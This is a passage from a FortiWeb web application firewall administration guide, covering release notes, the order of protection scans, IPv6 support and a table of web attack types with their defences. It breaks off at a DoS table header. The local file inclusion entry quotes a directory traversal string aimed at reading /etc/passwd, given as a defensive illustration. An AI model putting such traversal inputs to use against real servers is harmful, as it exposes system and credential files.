When you configure a Radius query, FortiWeb now uses the appliance host name (which you can configure) as the Radius NAS identifier instead of a predefined, string that you cannot edit.

See ["Changing the FortiWeb appliance's host name"](#) on page 662 and ["Configuring a RADIUS server"](#) on page 351.

Maintainer user removed

FortiWeb no longer provides the maintainer administrator account. (In previous releases, this account allowed you to reset the password for the admin account using a console connection.)

HTTP Request Filename Length constraint

A set of HTTP protocol constraints can now specify the maximum acceptable length in bytes of the HTTP request filename.

See ["HTTP/HTTPS protocol constraints"](#) on page 568.

FortiWeb 5.5 Patch 2

V-zone member monitoring

When the FortiWeb operation mode is True Transparent Proxy, you can now configure it to monitor v-zone (bridge) members. When monitoring is enabled, if a network interface that belongs to the v-zone goes down, FortiWeb automatically brings down the other members.

See ["Configuring a bridge \(V-zone\)"](#) on page 171.

Support for CRL services that require HTTP/1.1

FortiWeb can now import a certificate revocation list (CRL) from an HTTP site that provides a CRL service and requires the HTTP/1.1 protocol.

See ["Revoking certificates"](#) on page 471.

HTTPS and SSL server health checks use TLS 1.0

Server health checks that use HTTP or SSL now use TLS 1.0.

See "Configuring server up/down checks" on page 390.

Alert for log disk utilization

A new log setting allows you to configure FortiWeb to generate an alert when its log disk usage exceeds a percentage you specify.

See "Enabling log types, packet payload retention, & resource shortage alerts" on page 693.

IPv6 support for SNMP communities

You can now use an IPv6 address to specify the SNMP manager that can receive traps from and query the FortiWeb appliance.

See "SNMP traps & queries" on page 715.

Configure network interfaces to support jumbo frames

A new setting for the `config system interface` and `config system v-zone` CLI commands allows you to configure the maximum transmission unit (MTU) for network interfaces. This configuration allows the network interfaces to support Ethernet frames with more than 1500 bytes of payload.

See the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

FortiWeb 5.5 Patch 1

Signatures

Threat scoring—The threat scoring feature allows you to configure your signature policy to take action based on multiple signature violations by a client, instead of a single signature violation. When a client violates a signature in a threat scoring category, it contributes to a combined threat score. When the combined threat score exceeds a maximum value you specify, FortiWeb takes action. You specify whether the combined threat score calculation is based on HTTP transactions or sessions, or TCP sessions.

Send HTTP response—You can configure FortiWeb to block and reply to clients that violate a signature rule with an HTTP error message (attack block page) instead of resetting the connection. This is useful if your load balancer uses TCP multiplexing, where each TCP connection can send requests from multiple clients. Use the replacement messages settings to customize the attack block page and HTTP error code that the client receives.

See "Blocking known attacks & data leaks" on page 505 and "Defining custom data leak & attack signatures" on page 525.

Detect XSS in Referer field—Signatures included in the category Cross Site Scripting (Extended) can now prevent attackers from enabling cross-site scripting via the `Referer: HTTP` header field.

Server pools

New load balancing algorithms — The 5 new load balancing algorithms determine how to distribute new TCP connections using a hash. FortiWeb generates the hash based on the HTTP request (for example, the URI or host name).

See ["Creating a server pool"](#) on page 397.

View member status—In the server pool settings, a new column in the list of members displays the current status of a pool member.

WCCP traffic redirection using Layer 2

The WCCP configuration now allows you to select Layer 2 (L2) as the cache engine method. L2 redirection overwrites the original MAC header of the IP packets and replaces it with the MAC header for the WCCP client.

See ["Configuring FortiWeb to receive traffic via WCCP"](#) on page 153.

Qualys WAS integration

The web scanner integration framework now allows you to import scan results from Qualys Web Application Scanning (WAS).

See ["Generate protection profiles using a scanner report"](#) on page 247.

Increase file upload size to 30 MB

The maximum size you can specify for a file upload limit is now 30720 KB. This is also the new maximum size of the memory buffer that FortiWeb uses when it updates the FortiWeb virus database via FortiGuard services.

See ["Limiting file uploads"](#) on page 590 and ["Connecting to FortiGuard services"](#) on page 187.

CLI command to disable maintainer account

The `config system global` command now includes an option that enables or disables the maintainer administrator account. This account is enabled by default and allows you to reset the password for the admin account using a console connection.

See the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

FortiWeb 400D

A new mid-range model to replace the 400C.

FortiWeb-VM

Support for VMware vSphere HA — vSphere High Availability (HA) allows you to pool virtual machines and the hosts they reside on into a cluster. In the event of a failure, the HA feature restarts the virtual machines on a failed host on alternate hosts. This alternative to FortiWeb HA requires no HA configuration on the FortiWeb.

Support for VMware Tools —You can now install VMware Tools for FortiWeb-VM deployed on vSphere.

See the *FortiWeb-VM Install Guide*:

<http://docs.fortinet.com/fortiweb/hardware>

FortiWeb 5.5

Server load balancing

Server recovery and warm up—New settings allow you to specify how long to wait before sending traffic to a pool member that was recently unavailable, and the rate at which FortiWeb resumes sending traffic.

See ["Creating a server pool"](#) on page 397.

New and enhanced HTTP content routing methods—You can now route traffic by URL, HTTP parameter, HTTP header, source IP address (single or a range), or an X509 Certificate field. You can also concatenate the routing rules. For example, you can require traffic to match multiple rules or only one rule among many.

See ["Routing based on HTTP content"](#) on page 408.

New and enhanced session persistence types—You can now configure session persistence based on source IP, HTTP header, URL parameter, SSL session ID or additional cookie-based options.

See ["Configuring session persistence"](#) on page 394

Connection limit for server pool member—You can now specify the maximum number of TCP connections that FortiWeb forwards to this pool member.

See ["Creating a server pool"](#) on page 397.

New server health check types—The two new methods for checking the health of a server in a pool are **TCP Half Open** and **TCP SSL**.

See ["Configuring server up/down checks"](#) on page 390

Site publishing

Change password after login—The HTML form authentication login page now includes an option that allows users to change their password immediately after they log in. FortiWeb displays a change password form after the user successfully logs in.

See ["Changing user passwords at login"](#) on page 363.

Prompt for incorrect login credentials—If your site publishing configuration uses HTML form authentication and users try to log in with an incorrect user name or password, FortiWeb now displays a message that describes why the attempt was unsuccessful.

Signatures

Signature wizard—You can now automatically generate a signature policy that contains only signature categories that are relevant to the databases and web servers found in your environment.

See ["Blocking known attacks & data leaks"](#) on page 505.

New user interface—The new UI makes it easier to review and configure the list of signatures in a signature policy.

New search and filter options—When you view signature details, you can now search the list of individual signatures using a keyword. Also, you can filter the list to display only signatures that are configured with exceptions or search for signatures using a CVE ID.

See ["Filtering signatures"](#) on page 524.

Additional criteria in signature exceptions—In addition to using host names and URLs, you can now specify which requests FortiWeb does not scan using elements such as HTTP methods, client IP, and cookie name, either individually or in combination.

See ["Configuring action overrides or exceptions to data leak & attack detection signatures"](#) on page 519.

False positive mitigation feature for SQL injection signatures—To reduce false positives, FortiWeb can now perform additional lexical and syntax analysis after a SQL injection signature matches a request. You can disable this feature for one or both of the SQL injection signature categories, or disable it for individual signatures within the categories.

See ["Blocking known attacks & data leaks"](#) on page 505.

Custom signature rule enhancements—You can now specify a value to match for each meet condition rule in a custom signature. The value can be either a regular expression to match or a value to compare to the target's value (greater than, less than, and so on).

See ["Defining custom data leak & attack signatures"](#) on page 525.

FortiGate integration

Quarantined IPs—You can now specify a FortiGate appliance that transmits its list of quarantined source IPs to FortiWeb at regular intervals. You can then configure an inline protection policy to detect these IPs.

See ["Receive quarantined source IP addresses from FortiGate"](#) on page 198.

WCCP—You can now configure FortiWeb as a WCCP client that receives and inspects specified traffic from a FortiGate unit.

See ["Configuring FortiWeb to receive traffic via WCCP"](#) on page 153.

IBM Security AppScan, WhiteHat Sentinel, and HP WebInspect integration

The web scanner integration framework now allows you to import scan results from IBM Security AppScan Standard, WhiteHat Sentinel, and HP WebInspect.

See ["Generate protection profiles using a scanner report"](#) on page 247.

Web Anti-Defacement

Automatically acknowledge changed files—The web anti-defacement settings now allow you to configure FortiWeb to automatically acknowledge (accept) any changes that it detects.

See ["Anti-defacement"](#) on page 597.

Acknowledge all changed files—A new option allows you to acknowledge all items in the list of changed files.

See ["Accepting or reverting changed files"](#) on page 602.

Website name and full file path in alert email—The alert email that FortiWeb sends when a website file changes now includes the name of the web anti-defacement configuration for the website as well as the full directory path for the changed file.

Automatic support for HTTP pipelining

Instead of requiring you to manually enable HTTP pipelining, FortiWeb now automatically identifies and supports clients that request it.

See ["HTTP pipelining"](#) on page 289.

HTTP protocol constraints

New HTTP protocol constraints—Additional HTTP protocol constraints are available.

See ["HTTP/HTTPS protocol constraints"](#) on page 568.

New user interface—The new user interface organizes the constraints into categories. You can click a constraint name to display its description.

HA synchronization uses unicast

High availability synchronization traffic between HA cluster appliances is now transmitted using unicast instead of multicast. (HA heartbeat traffic still uses multicast.)

Cipher suites

Customizable ciphers per policy or pool member—In addition to selecting a medium or high-security configuration, you can now select a custom set of cipher suites for a server policy or server pool member.

See ["Configuring a server policy"](#) on page 277 or ["Creating a server pool"](#) on page 397

ChaCha-Poly1305 cipher support—A new CLI command allows you to add support for the ChaCha-Poly1305 cipher suite to a server policy.

See ["Supported cipher suites & protocol versions"](#) on page 432.

Status and Policy Status dashboards

New look—The style of the Status dashboard is now similar to the dashboards that FortiGate appliances use.

System Resources widget—The **System Resources** widget on the dashboard now displays counts of current connections and connections per second for all policies.

Policy Sessions widget and Policy Status dashboard—The **Policy Sessions** widget on the Status dashboard and the Policy Status dashboard now display counts of the current connections and connections per second by policy.

Display total HTTP Throughput/Attack Events/HTTP Hits—On the Status dashboard, graphs in the **Real Time Monitor** widget can displays total counts for HTTP throughput, attack events, and HTTP hits, in addition to counts for individual policies.

See ["Status dashboard"](#) on page 674.

Network interfaces user interface

The web UI display and settings for configuring network interfaces are now similar to the ones that FortiGate appliances use.

See ["Configuring the network interfaces"](#) on page 164.

SNMP version 3 support

When you create an SNMP community, you can now enable the traps for SNMP v3 instead or in addition to SNMP v1 and v2c.

See ["Configuring an SNMP community"](#) on page 716.

Microsoft Azure support

FortiWeb-VM is now available for deployment on the Microsoft Azure cloud computing platform.

Predefined, optimized protection profile for Drupa

Use this new profile as-is or clone it to create a custom profile.

See ["Configuring a protection profile for inline topologies"](#) on page 261 and ["Configuring a protection profile for an out-of-band topology or asynchronous mode of operation"](#) on page 270

Period block for Transparent Inspection and Offline Protection mode

If the operation mode is Transparent Inspection or Offline Protection and **Period Block** is the action FortiWeb takes against traffic that violates a policy, FortiWeb now attempts to block a client that has violated the policy for the length of time specified by **Block Period**.

Message ID in Attack Block page

The unique message ID is now displayed on the error page FortiWeb uses to respond to HTTP request that it blocks. You can use this ID to search attack logs for additional information.

Full URL in attack and traffic log messages

When FortiWeb sends attack and traffic log messages to Syslog and FortiAnalyzer, it now includes the full URL, including URL parameters, instead of just the name of the requested file.

Send reports to FTP/TFTP server

Report configuration now allows you to automatically send reports to a specified FTP or TFTP server.

See ["Selecting the report's file type & delivery options"](#) on page 727.

Display update daemon information

The `diagnose system update info` command displays update information, including when FortiWeb last updated signatures and other databases, any recent update errors, and the time of the next scheduled update.

HSM integration – SafeNet Luna SA

You can use the `hsm` setting of the `config system global` command to display HSM integration settings to the web UI. These settings integrate FortiWeb and SafeNet Luna SA HSM to retrieve a per-connection, SSL session key instead of loading the private key and certificate stored on FortiWeb.

See ["Using session keys provided by an HSM"](#) on page 441.

FortiWeb 5.4

New FortiWeb platforms

The FortiWeb 3000E and 4000E models have been introduced.

They are enterprise-grade models that can replace the 3000D and 4000D.

See the *FortiWeb Data Sheet*:

<https://www.fortinet.com/content/dam/fortinet/assets/data-sheets/FortiWeb.pdf>

FortiSandbox integration

You can now use a file upload restriction policy to submit uploaded files to FortiSandbox for evaluation. If FortiSandbox identifies a file as a threat, FortiWeb generates a corresponding attack log message and can block further attempts to upload the file.

See "Limiting file uploads" on page 590.

FortiWeb Manager

The new FortiWeb central manager solution is a standalone virtual instance running on ESXi hosts. It replaces the existing solution.

See the *FortiWeb Manager Installation and Administration Guide*:

<http://docs.fortinet.com/fortiweb/admin-guides>

RESTful API support

Use the RESTful API to manage the settings of FortiWeb appliances or the central manager.

See the *FortiWeb RESTful API Reference*:

<http://docs.fortinet.com/fortiweb/reference>

Assign priority to policy routes

When packets match more than one policy route, FortiWeb directs traffic to the route with the lowest **Priority** value.

See "Creating a policy route" on page 182.

Additional cipher suites for offline and Transparent Inspection modes

FortiWeb's SSL inspection feature now supports additional cipher suites.

See "Supported cipher suites & protocol versions" on page 432.

Server health check for a specific host

A new, optional setting in the server health check configuration allows you to test the availability of a specific host on the server pool member. This is useful if the pool member hosts multiple websites (virtual hosting environment).

See ["Configuring server up/down checks"](#) on page 390.

Backup server for pools

You can now specify one or more server pool members to which FortiWeb directs traffic only when all other members are unavailable.

See ["Creating a server pool"](#) on page 397.

HTTP content routing policies can inherit web protection profiles

When you configure a server policy, instead of assigning web protection profiles to each HTTP content routing policy, you can now configure the routing policies to inherit the profile that the server policy uses.

See ["Configuring a server policy"](#) on page 277.

Send log messages to multiple Syslog servers

Each Syslog policy can now create connections to up to 3 Syslog servers.

See ["Configuring Syslog settings"](#) on page 700.

Regular expression for site publishing logoff URL

In a site publish rule, you can now specify the optional value **Published Server Log Off Path** using a regular expression instead of a literal value.

See ["Offloaded authentication and optional SSO configuration"](#) on page 367.

Block sources using IP Reputation and X-Forwarded-For value

The IP Reputation feature now blocks or logs suspicious clients based on their `X-Forwarded-For` header.

See ["Blacklisting & whitelisting clients"](#) on page 484.

FortiWeb-VM on KVM (Kernel Virtual Machine)

You can now deploy FortiWeb-VM in a KVM virtual machine environment.

See the *FortiWeb-VM Install Guide*:

<http://docs.fortinet.com/fortiweb/hardware>

Key concepts

This chapter defines basic FortiWeb concepts and terms.

If you are new to FortiWeb, or new to network security, this chapter can help you to quickly understand:

- ["Workflow"](#) on page 54
- ["Sequence of scans"](#) on page 56
- ["IPv6 support"](#) on page 60
- ["Solutions for specific web attacks"](#) on page 62
- ["HTTP/2 support"](#) on page 69
- ["HTTP sessions & security"](#) on page 70
- ["HA heartbeat & synchronization"](#) on page 76
- ["Administrative domains \(ADOMs\)"](#) on page 81
- ["How to use the web UI"](#) on page 84
- ["Shutdown"](#) on page 95

Workflow


Begin with ["How to set up your FortiWeb"](#) on page 97 for your initial deployment. These instructions guide you to the point where you have a simple working configuration.

Ongoing use is located in subsequent chapters, and includes instructions for processes including:


- Backing up FortiWeb
- Updating FortiWeb
- Configuring optional features
- Adjusting policies if:
 - New attack signatures become available
 - Requirements change
- Fine-tuning performance
- Periodic web vulnerability scans if required by your compliance regime
- Monitoring for defacement or focused, innovative attack attempts from advanced persistent threats (APTs)
- Monitoring for accidentally blacklisted client IPs
- Using data analytics to show traffic patterns

Because policies consolidate many protection components, you should configure policies after you've configured those components.

This figure illustrates the general configuration process:



This figure illustrates the configuration process for setting up DoS protection:



1. Configure anti-DoS settings for each type:

- TCP connection floods ("[Limiting TCP connections per IP address](#)" on page 615)
- TCP SYN floods ("[Preventing a TCP SYN flood](#)" on page 617)
- HTTP floods ("[Preventing an HTTP request flood](#)" on page 611)
- HTTP access limits ("[Limiting the total HTTP request rate from an IP](#)" on page 605)
- Malicious IPs (TCP connection floods detected by session cookie instead of source IP address, which could be shared by multiple clients; "[Limiting TCP connections per IP address by session cookie](#)" on page 609)

2. Group the settings together into a comprehensive anti-DoS policy ("[Grouping DoS protection rules](#)" on page 618).

3. Select the anti-DoS policy in a protection profile, and enable [Session Management](#) ("[Configuring a protection profile for inline topologies](#)" on page 261).

4. Select the protection profile in a server policy ("[Configuring a server policy](#)" on page 277).

Sequence of scans

FortiWeb applies protection rules and performs protection profile scans in the order of execution according to the below table. To understand the scan sequence, read from the top of the table (the first scan/action) toward the bottom (the last scan/action). Disabled scans are skipped.



To improve performance, block attackers using the earliest possible technique in the execution sequence and/or the least memory-consuming technique. The blocking style varies by feature and configuration. For example, when detecting cookie poisoning, instead of resetting the TCP connection or blocking the HTTP request, you could log and remove the offending cookie. For details, see each specific feature.

Execution sequence (web protection profile)

Scan/action	Involves
Request from client to server	
TCP Connection Number Limit (page 615) (TCP Flood Prevention)	Source IP address of the client depending on your configuration of X-header rules. This could be derived from either the <code>SRC</code> field in the IP header, or the <code>X-Forwarded-For:</code> and <code>X-Real-IP:</code> HTTP headers. For details, see "Defining your proxies, clients, & X-headers" on page 421.
Block Period (page 508)	Source IP address of the client depending on your configuration of X-header rules. This could be derived from either the <code>SRC</code> field in the IP header, or the <code>X-Forwarded-For:</code> and <code>X-Real-IP:</code> HTTP headers. For details, see "Defining your proxies, clients, & X-headers" on page 421.
IP List (page 267) * (individual client IP black list or white list)	Source IP address of the client in the IP layer
Add X-Forwarded-For: (page 422) Add X-Real-IP: (page 422)	Source IP address of the client in the HTTP layer
IP Reputation (page 267)	Source IP address of the client depending on your configuration of X-header rules. This could be derived from either the <code>SRC</code> field in the IP header, or the <code>X-Forwarded-For:</code> and <code>X-Real-IP:</code> HTTP headers. For details, see "Defining your proxies, clients, & X-headers" on page 421.
Allow Known Search Engines (page 268)	Source IP address of the client in the IP layer
Geo IP (page 267)	Source IP address of the client in the IP layer
Add HSTS Header (page	<code>Strict-Transport-Security:</code> header

Scan/action	Involves
283)	
"Defining your protected/allowed HTTP "Host:" header names" on page 388 (allowed/protected host name)	Host :
Allow Method (page 267)	• Host : • URL in HTTP header • Request method in HTTP header
Bot Recognition (page 482)	Tests whether the client is a web browser or automated tool.
Session Management (page 262)	• Cookie: • Session state
HTTP Request Limit/sec (page 612) (HTTP Flood Prevention)	• Cookie: • Session state • URL in the HTTP header
TCP Connection Number Limit (page 609) (Malicious IP)	Source IP address of the client depending on your configuration of X-header rules. This could be derived from either the SRC field in the IP header, or the X-Forwarded-For : and X-Real-IP : HTTP headers. For details, see "Defining your proxies, clients, & X-headers" on page 421.
HTTP Request Limit/sec (Shared IP) (page 606) or HTTP Request Limit/sec (Shared IP) (page 606) (HTTP Access Limit)	• ID field of the IP header • Source IP address of the client depending on your configuration of X-header rules. This could be derived from either the SRC field in the IP header, or the X-Forwarded-For : and X-Real-IP : HTTP headers. For details, see "Defining your proxies, clients, & X-headers" on page 421.
Brute Force Login (page 266)	• Source IP address of the client depending on your configuration of X-header rules. This could be derived from either the SRC field in the IP header, or the X-Forwarded-For : and X-Real-IP : HTTP headers. For details, see "Defining your proxies, clients, & X-headers" on page 421. • URL in the HTTP header
HTTP Authentication (page 268)	Authorization:
Site Publish (page 268)	• Host :

Scan/action	Involves
	• URL of the request for the web application
"Configuring the global object white list" on page 258	• Cookie: cookiesession1 • URL if /favicon.ico, AJAX URL parameters such as __LASTFOCUS, and others as updated by the FortiGuard Security Service.
URL Access (page 266)	• Host: • URL in HTTP header • Source IP of the client in the IP header
Padding Oracle Protection (page 265)	• Host: • URL in HTTP header • Individually encrypted URL, cookie, or parameter
HTTP Protocol Constraints (page 266)	• Content-Length: • Parameter length • Body length • Header length • Header line length • Count of Range: header lines • Count of cookies
Cookie Security Policy (page 265)	Cookie:
Start Pages (page 267)	• Host: • URL in HTTP header • Session state
Page Access (page 266) (page order)	• Host: • URL in HTTP header • Session state
File Security (page 266)	• Content-Length: • Content-Type: in PUT and POST requests
Parameter Validation (page 265)	• Host: • URL in the HTTP header • Name, data type, and length
File Uncompress (page 268)	Content-Type:

Scan/action	Involves
Web Cache (page 268)	• Host: • URL in the HTTP header • Size in kilobytes (KB) of each URL to cache
• Cross Site Scripting • Cross Site Scripting • Cross Site Scripting (page 509) • SQL Injection (page 509) • Generic Attacks (page 510) (attack signatures)	• User-Agent: (Bad Robot) • Cookie: • Parameters in the URL, or the HTTP header or body • XML content in the HTTP body (if Enable XML Protocol Detection (page 263) is enabled)
Hidden Fields Protection (page 266)	• Host: • URL in the HTTP header • Name, data type, and length of <code><input type="hidden"></code>
Custom Policy (page 265)	• Source IP address of the client depending on your configuration of X-header rules. This could be derived from either the SRC field in the IP header, or the X-Forwarded-For: and X-Real-IP: HTTP headers. For details, see "Defining your proxies, clients, & X-headers" on page 421. • URL in the HTTP header • HTTP header • Parameter in the URL, or the HTTP header or body
X-Forwarded-For (page 263)	X-Forwarded-For: in HTTP header
URL Rewriting (page 268) (rewriting & redirects)	• Host: • Referer: • Location: • URL in HTTP header • HTTP body
File Compress (page 268)	Content-Type:
Client Certificate Forwarding (page 285)	Client's personal certificate, if any, supplied during the SSL/TLS handshake
Auto-learning (page 202)	Any of the other features included by the auto-learning profile
Data Analytics (page 269)	• Source IP address of the client • URL in the HTTP header • Results from other scans

Scan/action	Involves
Reply from server to client	
File Uncompress (page 268)	Content-Encoding:
• Information Disclosure (page 511) • Credit Card Detection (page 512)	• Server-identifying custom HTTP headers such as <code>Server:</code> and <code>X-Powered-By:</code> • Credit card number in the body, and, if configured, Credit Card Detection Threshold (page 513)
Hidden Fields Protection (page 266)	• <code>Host:</code> • URL in the HTTP header • Name, data type, and length of <code><input type="hidden"></code>
Custom Policy (page 265)	• HTTP response code • <code>Content Type:</code>
URL Rewriting (page 268) (rewriting)	• <code>Host:</code> • <code>Referer:</code> • <code>Location:</code> • URL in HTTP header • HTTP body
File Compress (page 268)	Accept-Encoding:
Auto-learning (page 202)	Any of the other features included by the auto-learning profile
Data Analytics (page 269)	• Source IP address of the client • URL in the HTTP header • Results from other scans
* If a source IP is white listed, subsequent checks will be skipped.	

IPv6 support

When the operating mode is Reverse Proxy, Offline Protection, or Transparent Inspection, the below features support IPv6-to-IPv6 forwarding. The below features also support NAT64 to handle environments in which legacy back-end equipment supports only IPv4.

- **IP/Netmask** (page 165) for all types of network interfaces and DNS settings
- **Gateway** (page 179) and **Destination IP/Mask** (page 179) for IP-layer static routes
- **Virtual Server** (page 279)/**V-zone** (page 279)
- **Server Pool** (page 280)
- **Server Health Check** (page 398)

- [Protected Hostnames](#) (page 281)
- [Add HSTS Header](#) (page 283)
- [X-Forwarded-For](#) (page 263)
- [Session Management](#) (page 262)
- [Cookie Security Policy](#) (page 265)
- [Signatures](#) (page 263)
- [Custom Policy](#) (page 265)
- [Parameter Validation](#) (page 265)
- [Hidden Fields Protection](#) (page 266)
- [File Security](#) (page 266)
- [HTTP Protocol Constraints](#) (page 266)
- [Brute Force Login](#) (page 266)
- [URL Access](#) (page 266)
- [Page Access](#) (page 266) (page order)
- [Start Pages](#) (page 267)
- [Allow Method](#) (page 267)
- [IP List](#) (page 267) (manual, individual IP blacklisting/whitelisting)
- [File Compress](#) (page 268)/[File Uncompress](#) (page 268)
- [Auto-learning](#) (page 202)
- [Vulnerability scans](#) (page 650)
- [Configuring the global object white list](#) (page 258)
- Chunk decoding
- FortiGuard server IP overrides (see "[Connecting to FortiGuard services](#)" on page 187)
- [URL Rewriting](#) (page 268) (also redirection)
- [Data Analytics](#) (page 269)
- [HTTP Authentication](#) (page 268) and LDAP, RADIUS, and NTLM profiles
- [Geo IP](#) (page 267)
- [DoS Protection](#) (page 267)
- [SNMP traps & queries](#) (page 715)
- [IP Reputation](#) (page 267)
- Device Tracking (see "[Monitoring currently tracked devices](#)" on page 736)
- HTTP Header Security (see "[Addressing security vulnerabilities by HTTP Security Headers](#)" on page 542)

Features **not** yet supported are:



If a policy has **any** virtual servers or server pools that contain physical or domain servers with IPv6 addresses, it does **not** apply these features, even if they are selected.

- Shared IP
- Policy bypasses for known search engines
- Firewall
- Log-based reports
- Alert email

- Syslog and FortiAnalyzer IP addresses
- NTP
- FTP immediate/scheduled
- SCEP
- Anti-defacement
- HA/Configuration sync
- `exec restore`
- `exec backup`
- `exec traceroute`
- `exec telnet`

Solutions for specific web attacks

The types of attacks that web servers are vulnerable to are varied, and evolve as attackers try new strategies.

FortiWeb offers numerous configurable features for preventing web-related attacks, including denial-of-service (DoS) assaults, brute-force logins, data theft, cross-site scripting attacks, among many more.



Early in your deployment of FortiWeb, configure and run web vulnerability scans to detect the most common attack vulnerabilities. You can use this to discover attacks to which you may be vulnerable. For details, see "[Vulnerability scans](#)" on page 650.

HTTP/HTTPS threats

Servers are increasingly being targeted by exploits at the application layer or higher. These attacks use HTTP/HTTPS and may aim to compromise the target web server to steal information, deface it, post malicious files on a trusted site to further exploit visitors to the site, or use the web server to create botnets.

Among its many threat management features, FortiWeb fends off attacks that use cross-site scripting, state-based intrusion, and various injection attacks. This helps you comply with protection standards for:

- Credit-card data, such as PCI DSS 6.6
- Personally identifiable information, such as HIPAA

FortiWeb can also protect against threats at higher layers (HTML, Flash or XML applications). The below table lists several HTTP-related threats and describes how FortiWeb protects servers from them.

Attack Technique	Description	Protection	FortiWeb Solution
Adobe Flash binary (AMF) protocol attacks	Attackers attempt XSS, SQL injection or other common exploits through an Adobe Flash client.	Decode and scan Flash action message format (AMF) binary data for matches with attack signatures.	Enable AMF3 Protocol Detection (page 263)

Attack Technique	Description	Protection	FortiWeb Solution
Botnet	Utilizes zombies previously exploited or infected (or willingly participating), distributed usually globally, to simultaneously overwhelm the target when directed by the command and control server(s).	Use the FortiGuard IP Reputation Service to gather up-to-date threat intelligence on botnets and block attacks.	IP Reputation (page 267)
Brute force login attack	An attacker attempts to gain authorization by repeatedly trying ID and password combinations until one works.	Require strong passwords for users, and throttle login attempts.	Brute Force Login (page 266)
Clickjacking	Code such as <code><IFRAME></code> HTML tags superimposes buttons or other DOM/inputs of the attacker's choice over a normal form, causing the victim to unwittingly provide data such as bank or login credentials to the attacker's server instead of the legitimate web server when the victim clicks to submit the form.	Scan for illegal inputs to prevent the initial injection, then apply rewrites to scrub any web pages that have already been affected.	• Signatures (page 263) • Parameter Validation (page 265) • Hidden Fields Protection (page 266) • URL Rewriting (page 268)
Cookie tampering	Attackers alter cookies originally established by the server to inject overflows, shell code, and other attacks, or to commit identity fraud, hijacking the HTTP sessions of other clients.	Validate cookies returned by the client to ensure that they have not been altered from the previous response from the web server for that HTTP session.	• Cookie Security Policy (page 265) • Add HSTS Header (page 283)
Credit card theft	Attackers read users' credit card information in replies from a web server.	Detect and sanitize credit card data leaks. Helps you comply with credit card protection standards, such as PCI DSS 6.6.	Credit Card Detection (page 512)
Cross-site request	A script causes a browser	Specify web pages that	• Defeating cross-

Attack Technique	Description	Protection	FortiWeb Solution
forgery (CSRF)	to access a website on which the browser has already been authenticated, giving a third party access to a user's session on that site. Classic examples include hijacking other peoples' sessions at coffee shops or Internet cafés.	FortiWeb protects from CSRF attacks using a special token. Enforce web application business logic to prevent access to URLs from the same IP but different client.	site request forgery (CSRF) attacks (page 538) • Page Access (page 266) • Add HSTS Header (page 283)
Cross-site scripting (XSS)	Attackers cause a browser to execute a client-side script, allowing them to bypass security.	Content filtering, cookie security, disable client-side scripts.	Cross Site Scripting (page 509)
Denial of service (DoS)	An attacker uses one or more techniques to flood a host with HTTP requests, TCP connections, and/or TCP SYN signals. These use up available sockets and consume resources on the server, and can lead to a temporary but complete loss of service for legitimate users.	Watch for a multitude of TCP and HTTP requests arriving in a short time frame, especially from a single source, and close suspicious connections. Detect increased SYN signals, close half-open connections before resources are exhausted.	DoS Protection (page 267)
HTTP header overflow	Attackers use specially crafted HTTP/HTTPS requests to target web server vulnerabilities (such as a buffer overflow) to execute malicious code, escalating to administrator privileges.	Limit the length of HTTP protocol header fields, bodies, and parameters.	HTTP Protocol Constraints (page 266)
Local file inclusion (LFI)	LFI is a type of injection attack. However, unlike SQL injection attacks, a database is not always involved. In an LFI, a client includes directory traversal commands	Block directory traversal commands.	Generic Attacks (page 510)

Attack Technique	Description	Protection	FortiWeb Solution
	(such as <code>../../../../</code> for web servers on Linux, Apple Mac OS X, or Unix distributions) when submitting input. This causes vulnerable web servers to use one of the computer's own files (or a file previously installed via another attack mechanism) to either execute it or be included in its own web pages. This could be used for many purposes, including direct attacks of other servers, installation of malware, and data theft of <code>/etc/passwd</code>, display of database query caches, creation of administrator accounts, and use of any other files on the server's file system. Many platforms have been vulnerable to these types of attacks, including Microsoft .NET and Joomla.		
Man-in-the-middle (MITM)	A device located on the same broadcast network or between the client and server observes unencrypted traffic between them. This is often a precursor to other attacks such as session hijacking.	Redirect clients from HTTP to secure HTTPS, then encrypt all traffic and prevent subsequent accidental insecure access.	• HTTPS Service (page 282) • Add HSTS Header (page 283) • URL Rewriting (page 268)
Remote file inclusion (RFI)	RFI is a type of injection attack. However, unlike SQL injection attacks, a database is not always involved. In an RFI, a	Prevent inclusion of references to files on other web servers.	Generic Attacks (page 510)

Attack Technique	Description	Protection	FortiWeb Solution
	client includes a URL to a file on a remote host, such as source code or scripts, when submitting input. This causes vulnerable web servers to either execute it or include it in its own web pages. If code is executed, this could be used for many purposes, including direct attacks of other servers, installation of malware, and data theft. If code is included into the local file system, this could be used to cause other, unsuspecting clients who use those web pages to commit distributed XSS attacks. Famously, this was used in organized attacks by Lulzsec. Attacks often involve PHP web applications, but can be written for others.		
Server information leakage	A web server reveals details (such as its OS, server software and installed modules) in responses or error messages. An attacker can leverage this fingerprint to craft exploits for a specific system or configuration.	Configure server software to minimize information leakage.	• Information Disclosure (page 511) • To hide application structure and servlet names, Rewriting & redirecting (page 622)
SQL injection	The web application inadvertently accepts SQL queries as input. These are executed directly against the database for	Rely on key word searches, restrictive context-sensitive filtering and data sanitization techniques.	• Parameter Validation (page 265) • Hidden Fields Protection (page 266)

Attack Technique	Description	Protection	FortiWeb Solution
	unauthorized disclosure and modification of data.		• SQL Injection (page 509)
Malformed XML	To exploit XML parser or data modeling bugs on the server, the client sends incorrectly formed tags and attributes.	Validate XML formatting for closed tags and other basic language requirements.	Illegal XML Format (page 264) Caution: Unlike XML protection profiles in previous versions of FortiWeb, Illegal XML Format (page 264) does not check for conformity with the object model or recursive payloads.

DoS attacks

A denial of service (DoS) attack or distributed denial-of-service attack (DDoS attack) is an attempt to overwhelm a web server/site, making its resources unavailable to its intended users. DoS assaults involve opening vast numbers of sessions/connections at various OSI layers and keeping them open as long as possible to overwhelm a server by consuming its available sockets. Most DoS attacks use automated tools (not browsers) on one or more hosts to generate the harmful flood of requests to a web server.

A DoS assault on its own is not true penetration. It is designed to silence its target, not for theft. It is censorship, not robbery. In any event, a successful DoS attack can be costly to a company in lost sales and a tarnished reputation. DoS can also be used as a diversion tactic while a true exploit is being perpetrated.

The advanced DoS prevention features of FortiWeb are designed to prevent DoS techniques, such as those examples listed in on page 62, from succeeding. For best results, consider creating a DoS protection policy that includes all of FortiWeb's DoS defense mechanisms, and block traffic that appears to originate from another country, but could actually be anonymized by VPN or Tor. For details about policy creation, see "[DoS prevention](#)" on page 604 and "[Blacklisting source IPs with poor reputation](#)" on page 485.

Attack Technique	Description	FortiWeb Solution
